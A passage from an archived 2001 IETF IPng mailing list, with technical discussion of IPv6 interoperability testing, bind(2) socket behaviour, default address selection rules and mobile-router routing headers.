ZwAuAHMAdQBuAC4AYwBvAG0AAAAfADNAAQAAABAAAABIAFUASQBUAEUATQBBAAAAHwA4QAEAAAAQ AAAASABVAEkAVABFAE0AQQAAAB8AOUABAAAABAAAAC4AAAALACkAAAAAAAsAIwAAAAAAAwAGEL6r ibgDAAcQBgIAAAMAEBAAAAAAAwAREAAAAAAeAAgQAQAAAGUAAABPTkVNT1JFQ0hBTkdFVE9USEVN RUVUSU5HUExBQ0VDQUxMRk9SVE9NT1JST1cmRlJJREFZUEhPTkVOVU1CRVJJU1NUSUxMVEhFU0FN RTorMSg0MjUpNzAzLTc2MDBMT0NBTExZAAAAAAIBfwABAAAAWwAAADxGNjZBMDRDMjlBRDkwMzRB ODIwNTk0OUFEMEM5MDEwNDE4QkUxQ0B3aW4tbXNnLTAyLndpbmdyb3VwLndpbmRlcGxveS5udGRl di5taWNyb3NvZnQuY29tPgAASZY= ------_=_NextPart_001_01C0E963.D64E2F8D-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 17:21:46 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4V0L6s11923 for ipng-dist; Wed, 30 May 2001 17:21:06 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4V0L2e11916 for ; Wed, 30 May 2001 17:21:02 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA19402 for ; Wed, 30 May 2001 17:21:05 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA18684 for ; Wed, 30 May 2001 18:21:03 -0600 (MDT) Received: from localhost ([131.107.37.32]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id JAA24270 for ; Thu, 31 May 2001 09:21:01 +0900 (JST) Date: Thu, 31 May 2001 09:18:25 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: interoperability test at Interim meeting In-Reply-To: <20010529234034.7A9667C1@starfruit.itojun.org> User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. References: <20010529234034.7A9667C1@starfruit.itojun.org> MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 28 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Wed, 30 May 2001 08:40:34 +0900, >>>>> Jun-ichiro itojun Hagino said: >> The interim meetings next week only run until 17:00 each day. >> Thursday evening (May 31), the same meeting room >> will be available for interop testing. We plan to have >> tables set up, with a couple of mini-hubs. >> >> If you're interested in doing interop testing, please bring >> whatever else you will need. We will supply the >> space and the electricity. > which protocol do people want to test specifically? > i would like to test the following protocols with you guys: > - draft-ietf-dnsext-mdns-00.txt > - draft-haberman-ipngwg-auto-prefix-00.txt > of course, i'm happy to do basic ND/TCP/whatever test as well. Our (KAME's) implementation can send RAs with Router Preferences and More-Specific Routes. But we don't have a host-side implementation, so I'd like to test if it works correctly with host implementations (probably with Windows one). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 17:28:33 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4V0SAR11945 for ipng-dist; Wed, 30 May 2001 17:28:10 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4V0S6e11938 for ; Wed, 30 May 2001 17:28:06 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA20636 for ; Wed, 30 May 2001 17:28:13 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA10864 for ; Wed, 30 May 2001 18:28:37 -0600 (MDT) Received: from localhost ([131.107.37.32]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id JAA24327 for ; Thu, 31 May 2001 09:28:09 +0900 (JST) Date: Thu, 31 May 2001 09:25:34 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: interoperability test at Interim meeting In-Reply-To: References: <20010529234034.7A9667C1@starfruit.itojun.org> User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: multipart/mixed; boundary="Multipart_Thu_May_31_09:25:34_2001-1" X-Dispatcher: imput version 980905(IM100) Lines: 82 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --Multipart_Thu_May_31_09:25:34_2001-1 Content-Type: text/plain; charset=US-ASCII >>>>> On Thu, 31 May 2001 09:18:25 +0900, >>>>> JINMEI Tatuya said: >> which protocol do people want to test specifically? >> i would like to test the following protocols with you guys: >> - draft-ietf-dnsext-mdns-00.txt >> - draft-haberman-ipngwg-auto-prefix-00.txt >> of course, i'm happy to do basic ND/TCP/whatever test as well. > Our (KAME's) implementation can send RAs with Router Preferences and > More-Specific Routes. But we don't have a host-side implementation, > so I'd like to test if it works correctly with host implementations > (probably with Windows one). I'm also interested in differences about the bind(2) system call in terms of IPv4-mapped IPv6 addresses (see attached). I'd be glad if we can run the test on various implementation at the testing event. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp --Multipart_Thu_May_31_09:25:34_2001-1 Content-Type: message/rfc822 Date: Wed, 09 May 2001 08:24:43 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: users@ipv6.org, ipng@sunroof.eng.sun.com Subject: questionnaire: bind(2) (and IPV6_V6ONLY) behavior User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Hello, (sorry for cross-posting). I'm now looking at how each IPv6 implementation is friendly with bind9, especially on the bind(2) system call ordering issues. As the first step, I'd like to collect differences among implementations using some test scripts. So, if you have time, could you spend some time to do the test on your system(s)? The test tool is freely available at the following URL: http://orange.kame.net/dev/cvsweb.cgi/kame/kame/kame/bindtest/ and the results so far at http://www.kame.net/newsletter/20010504/ Here is a step by step instruction of the test: - compile bindtest (see Makefile) - run test.sh like this: % sh test.sh myplatform.txt - send myplatform.txt to me, with exact indication of OS name/version number/build date/whatever I hear that some systems have already supported a new IPv6 socket option "IPV6_V6ONLY". I'm particularly interested in the results on such systems (the latest test.sh contains some tests with the option). We'll basically put the results on the URL above, so that everyone can refer to it. If you can do tests but do not want to make the result open, please explicitly say so when sending the result. Thanks in advance, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp --Multipart_Thu_May_31_09:25:34_2001-1-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 01:38:07 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4V8bTs12369 for ipng-dist; Thu, 31 May 2001 01:37:29 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4V8bPe12362 for ; Thu, 31 May 2001 01:37:25 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17398 for ; Thu, 31 May 2001 01:37:33 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA13204 for ; Thu, 31 May 2001 01:37:31 -0700 (PDT) Received: from localhost ([3ffe:501:100f:13ff::a]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id RAA27011 for ; Thu, 31 May 2001 17:37:25 +0900 (JST) Date: Thu, 31 May 2001 17:34:47 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> References: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 125 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 24 May 2001 14:26:24 -0700, >>>>> Bob Hinden said: > This is a IPng working group last call for comments on advancing the > following document as a Proposed Standard: > Title : Default Address Selection for IPv6 > Author(s) : R. Draves > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > Pages : 20 > Date : 14-May-01 > Please send substantive comments to the ipng mailing list, and minor > editorial comments to the author. This last call period will end two > week from today on June 7, 2001. I have several comments on the latest draft. Most of them are editorial or minor details, but I believe some of them are substantive, or at least controversial (so I post them to the list). (BTW, I basically think the draft gives a good guidance to implementors. I support the basic idea of the draft.) 2.1. Scope Comparisons The IPv6 addressing architecture defines scope field values for node-local (0x1), link-local (0x2), site-local (0x5), organization-local (0x8), and global (0xE) scopes [9]. Here are some inconsistency comparing to the latest versions of the scoping/address architecture drafts: - node-local scope was obsoleted by "interface-local" - two new scope value "(reserved for) subnet-local = 0x4" and "admin-local scope = 0x5" were defined. 2.5. Policy Table Policy table entries for scoped address prefixes MAY be qualified with an optional scope-id. If so, a prefix table entry only matches against an address during a lookup if the scope-id also matches the address's scope-id. I believe "zone-id" is a better wording than "scope-id", according to the scoping architecture draft. This comment is applied to all other occurrences of "scope-id" in this draft, too. 3. Candidate Source Addresses For multicast and link-local destination addresses, the set of candidate source addresses MUST only include addresses assigned to interfaces belonging to the same link as the outgoing interface. For multicast addresses, I think this is too restrictive. I know the rationale is the reverse path forwarding in the multicast routing architecture, but I believe users should be allowed to use other candidates, with respecting to the multicast routing architecture (e.g. users should be able to use a global address assigned on the loopback interface as the source address for a multicast packet being sent to a physical (i.e. not the loopback) interface). Thus, I think SHOULD or RECOMMENDED is suitable for the multicast case. 4. Source Address Selection Rule 7: Prefer public addresses. If SA is a public address and SB is a temporary address, then prefer SA. Similarly, if SB is a public address and SA is a temporary address, then prefer SB. An implementation may support a per-connection configuration mechanism (for example, a socket option) to reverse the sense of this preference and prefer temporary addresses over public addresses. I'm not sure if this is a good policy. When a temporary address is assigned, the administrator of the host should want privacy about addresses that appear on the wire, so the administrator should want to use the temporary address by default. If the default is not to use the temporary one, then the public address would accidentally appear on the wire, revealing the identity of the sending node to some tracking guy. I don't think this is the desired story that the administrator wants. If the administrator does not care about the privacy so much, the administrator should just turn off generating temporary addresses. Once the mechanism is turned on, the use of temporary addresses should be respected, IMHO. By the way, I recall that there was a discussion about the preference between public addresses vs temporary addresses, but I don't remember the result of the discussion. If I'm raising an issue that has already been fully discussed and got consensus, I'd apologize in advance. (But I can't believe the consensus was to prefer public ones...) 5. Destination Address Selection Rule 1: Avoid unusable destinations. If there is no route to DB or if Source(DB) is undefined, then sort DA before DB. Similarly, if there is no route to DA or if Source(DA) is undefined, then sort DB before DA. I think "no route to DB" here is a bit confusing for IPv6 hosts, based on the neighbor discovery specification. Section 5.2 of RFC 2461 says: Next-hop determination for a given unicast destination operates as follows. The sender performs a longest prefix match against the Prefix List to determine whether the packet's destination is on- or off-link. If the destination is on-link, the next-hop address is the same as the packet's destination address. Otherwise, the sender selects a router from the Default Router List (following the rules described in Section 6.3.6). If the Default Router List is empty, <---- the sender assumes that the destination is on-link. <---- According to the text, every destination has a default route to it or is regarded as on-link. In other words, there should always be a "route" to every destination. I think we need some clarification about the notion of "no route" here, probably using the (non-)existence of a default router...? JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 01:58:26 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4V8vsL12436 for ipng-dist; Thu, 31 May 2001 01:57:54 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4V8voe12429 for ; Thu, 31 May 2001 01:57:50 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA19085 for ; Thu, 31 May 2001 01:57:59 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU ([202.28.96.2]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA09409 for ; Thu, 31 May 2001 01:57:57 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f4V8wHd02865; Thu, 31 May 2001 15:58:18 +0700 (ICT) From: Robert Elz To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: References: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 31 May 2001 15:58:17 +0700 Message-ID: <2863.991299497@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 31 May 2001 17:34:47 +0900 From: JINMEI Tatuya Message-ID: | Here are some inconsistency comparing to the latest versions of the | scoping/address architecture drafts: Here I think it is better to use the values from the currently published RFCs - the actual numbers aren't important to anything in this draft, and using data from a doc that isn't yet an RFC will only serve to hold up this one until that is eventually published. Just use what exists now, and then allow the later doc to update the numbers when it appears. | I think "no route to DB" here is a bit confusing for IPv6 hosts, based | on the neighbor discovery specification. Section 5.2 of RFC 2461 | says: That section can really only apply after interface selection (routing) has been done - that is, it is assuming that a link has been selected to send the packet upon, at that stage one can compare prefixes, select the next hop, or send it as on-link traffic. But before that is done, something has to select the interface. Even for hosts with only one piece of electrical gizmo called an interface (or NIC) is likely to have at least an internal software "loopback" interface, and perhaps some tunnels as well. Something has to have selected one of those, and during that selection there's always the possibility that "none of the above" is the answer obtained. I suspect that's what the "no route to DB" is referring to (that's certainly the way I understood it). For many hosts that answer will never occur, and that section of the address selection draft won't be helpful - for others, it can occur. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 02:43:52 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4V9hHM12478 for ipng-dist; Thu, 31 May 2001 02:43:17 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4V9hEe12471 for ; Thu, 31 May 2001 02:43:14 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA12694 for ; Thu, 31 May 2001 02:43:23 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA19052 for ; Thu, 31 May 2001 03:43:21 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4V9gbo24181; Thu, 31 May 2001 12:42:37 +0300 Date: Thu, 31 May 2001 12:42:36 +0300 (EEST) From: Pekka Savola To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 31 May 2001, JINMEI Tatuya / [ISO-2022-JP] $B?@L@C#:H(B wrote: [snip] > I think "no route to DB" here is a bit confusing for IPv6 hosts, based > on the neighbor discovery specification. Section 5.2 of RFC 2461 > says: > > Next-hop determination for a given unicast destination operates as > follows. The sender performs a longest prefix match against the > Prefix List to determine whether the packet's destination is on- or > off-link. If the destination is on-link, the next-hop address is the > same as the packet's destination address. Otherwise, the sender > selects a router from the Default Router List (following the rules > described in Section 6.3.6). If the Default Router List is empty, <---- > the sender assumes that the destination is on-link. <---- > > According to the text, every destination has a default route to it or > is regarded as on-link. In other words, there should always be a > "route" to every destination. I think we need some clarification > about the notion of "no route" here, probably using the > (non-)existence of a default router...? Also, the default address selection draft wording assumes that off-link destinations are only reachable through default router(s). Address selection should be worded to apply cleanly to a situation where there is no default route, but basically nearly equivalent static routes: it could be quite common that there is no default router at all, only e.g. 2000::/3 for example. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 04:54:10 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VBrZC12617 for ipng-dist; Thu, 31 May 2001 04:53:35 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VBrWe12610; Thu, 31 May 2001 04:53:32 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA22562; Thu, 31 May 2001 04:53:39 -0700 (PDT) Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA07270; Thu, 31 May 2001 04:53:38 -0700 (PDT) Received: from inrialpes.fr (galibier.inrialpes.fr [194.199.24.97]) by ebene.inrialpes.fr (8.9.3+Sun/8.8.6) with ESMTP id NAA21118; Thu, 31 May 2001 13:52:07 +0200 (MEST) Message-ID: <3B1630C0.A8A1CE8A@inrialpes.fr> Date: Thu, 31 May 2001 13:53:36 +0200 From: Thierry Ernst Organization: INRIA Rhone-Alpes X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Mobile IP , ipng@sunroof.eng.sun.com Subject: Re: [Q] Routing header References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> <3B141937.CF8A72CA@inrialpes.fr> <15124.10369.456683.719389@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas wrote: > I'm aware that this is only my scenario, but this is > what I think a naive implementation would do. Ie, > the mobile router would think it's supposed to send > a BU when it see something come in from its home agent > tunnel interface, the MN (or another MR) would > think it's supposed to send a BU... I agree that a MN behind the MR is supposed to send a BU, but I disagree that the MR "is supposed to" do it as well. First, the MR is not the final destination of the packet. Second, if you think about a naive implementation, MR would send a BU to the sender that appears in the inner header in the encapsulated packet, i.e. the CN of MN "behind" MR. And what would contain the BU ? A binding between the MR's home address and its COA. This does not give much usefuk information to the CN. You would end up with a cache at the CN containing: MR home address -> MR coa MN home address -> MN coa CN uses MR's coa if it ever want to communicate with MR directly (very unlikely) CN uses MN's coa for packets it wants to send to the MN. No problem at the CN, although your datagram is going to be routed via the MR's HA (because MN's coa has the same prefix has the MR's home address. The issue is that the HA does not know how to redirect (same reason as explained in my draft) Then, the issue your are describing (including two addresses in the routing header) would not happen with a naive implementation of MRs. If any proposal would advocate such use of the routing header, I think it should also describe how this should be done. > If the MR subtends a prefix and can send a BU > which is legal in -13 as you know, it would Sorry, I don't catch you here. Could you refine ? > send a BU when it sees the packet on the HA > interface. Otherwise, you'd have triangular > routing at the MR. > > I'm not trying to propose anything, actually. I'm just > pointing out that the current set of drafts won't > work as they are currently stated to more than > one level of mobility. This is right, but this is not the purpose of any existing draft to address more than one level of mobility. More than one level of mobility needs it's own set of drafts. Thierry. -- * mailto:Thierry.Ernst@inrialpes.fr Tel +33 (0) 4 76 61 52 69 * INRIA Rhone-Alpes Projet PLANETE (fax 52 52) * and MOTOROLA Labs Paris * http://www.inrialpes.fr/planete/people/ernst/Welcome.html -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 05:43:35 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VCgwq12736 for ipng-dist; Thu, 31 May 2001 05:42:58 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VCgIe12721; Thu, 31 May 2001 05:42:18 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA06176; Thu, 31 May 2001 05:42:25 -0700 (PDT) From: fritsche@iabg.de Received: from iabgfw.iabg.de (iabgfw.iabg.de [194.139.245.2]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA16267; Thu, 31 May 2001 06:42:23 -0600 (MDT) Received: by iabgfw.iabg.de; id OAA11494; Thu, 31 May 2001 14:42:21 +0200 (MET DST) Received: from unknown(10.255.255.2) by iabgfw.iabg.de via smap (V5.5) id xma011473; Thu, 31 May 01 14:41:37 +0200 Received: from iabgvw.iabg.de ([10.255.255.8]) by iabgmh.iabg.de (Post.Office MTA v3.5.1 release 219 ID# 127-59214U1600L300S0V35) with ESMTP id de; Thu, 31 May 2001 14:41:36 +0200 Received: from iabgdns.iabg.de (localhost [127.0.0.1]) by iabgvw.iabg.de (8.8.8+Sun/8.8.8) with ESMTP id OAA04189; Thu, 31 May 2001 14:41:36 +0200 (MET DST) Received: from ziegenlippe (ziegenlippe.iabg.de [10.15.0.185]) by iabgdns.iabg.de (8.8.8+Sun/8.8.8) with SMTP id OAA13308; Thu, 31 May 2001 14:41:31 +0200 (MET DST) Message-Id: <200105311241.OAA13308@iabgdns.iabg.de> Comments: Authenticated sender is To: thierry.ernst@inrialpes.fr Date: Thu, 31 May 2001 14:41:31 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: [mobile-ip] Re: [Q] Routing header CC: mobile-ip@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com In-reply-to: <3B163265.7F3EFF27@inrialpes.fr> X-mailer: Pegasus Mail for Win32 (v2.54DE) Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Hi Wolfgang, > > > fritsche@iabg.de wrote: > > > This is basically what my draft is proposing. And in this case, the > > > MIPv6 spec needs redefine the "CN Operation". > > > (all is in the draft > > > http://www.inrialpes.fr/planete/people/ernst/Documents/draft-ernst-mobileip-v6-network.txt) > > > > > > But there is an authorization issue that needs to be addressed as > > > everyone knows. > > > > I also have another issue in mind. Usually mobile nodes as > > described in MIPv6 get an address assigned (c/o address), which is > > valid and routable at their actual temporary Internet access point. > > > > Reading your draft, if a MR roams with the attached mobile network, > > the MR will get assigned a valid, routable c/o address at the new > > access point, while nodes of the mobile subnets keep their permanent > > static address (except if they are MNs, what you excluded for the > > first step). If one of the hosts at the mobile subnet now sends out > > some packets, it would use its permanent static IP address as source > > address, and therefore face the problem of ingress filtering (except > > the MR does some encapsulation work, but I havn't seen something like > > that in the draft). > > OK, I will add a section in my revise draft. > > I am not sure that IPv6 routers should perform ingress filtering (recent > discussions did not give me a concrete answer ...) ; otherwise my idea > is that MR would indeed encapsulate all outgoing packets. At least if you have a look in the MIPv6 draft, chapter 2, support for coexistence with ingress filtering is pointed out as one benefit of MIPv6 compared to MIPv4, so there seems to be no reason for stopping ingress filtering in IPv6. Encapsulation could work around this problem, but you have to investigate the influence of this encapsulation to authentication, firewalls, and overhead added to narrow band links. > Thanks to have pointed this out. > Thierry. > > > -- > * mailto:Thierry.Ernst@inrialpes.fr Tel +33 (0) 4 76 61 52 69 > * INRIA Rhone-Alpes Projet PLANETE (fax 52 52) > * and MOTOROLA Labs Paris > * http://www.inrialpes.fr/planete/people/ernst/Welcome.html > Wolfgang ########################################################## ## Wolfgang Fritsche ## Project Manager ## ## IABG ## Department for Communication Networks ## Einsteinstr. 20 ## 85521 Ottobrunn ## Germany ## ## Phone: +49 89 6088 2897 ## Fax: +49 89 6088 2845 ## E-Mail: fritsche@iabg.de ## Web: www.ipv6.iabg.de, www.iabg.de ########################################################## -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 10:00:47 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VGxv313044 for ipng-dist; Thu, 31 May 2001 09:59:58 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VGxFe13029; Thu, 31 May 2001 09:59:15 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02414; Thu, 31 May 2001 09:59:23 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA26056; Thu, 31 May 2001 09:59:22 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4VGxHU23861; Thu, 31 May 2001 09:59:17 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AHF44762; Thu, 31 May 2001 09:59:13 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA08199; Thu, 31 May 2001 09:59:13 -0700 (PDT) From: Michael Thomas 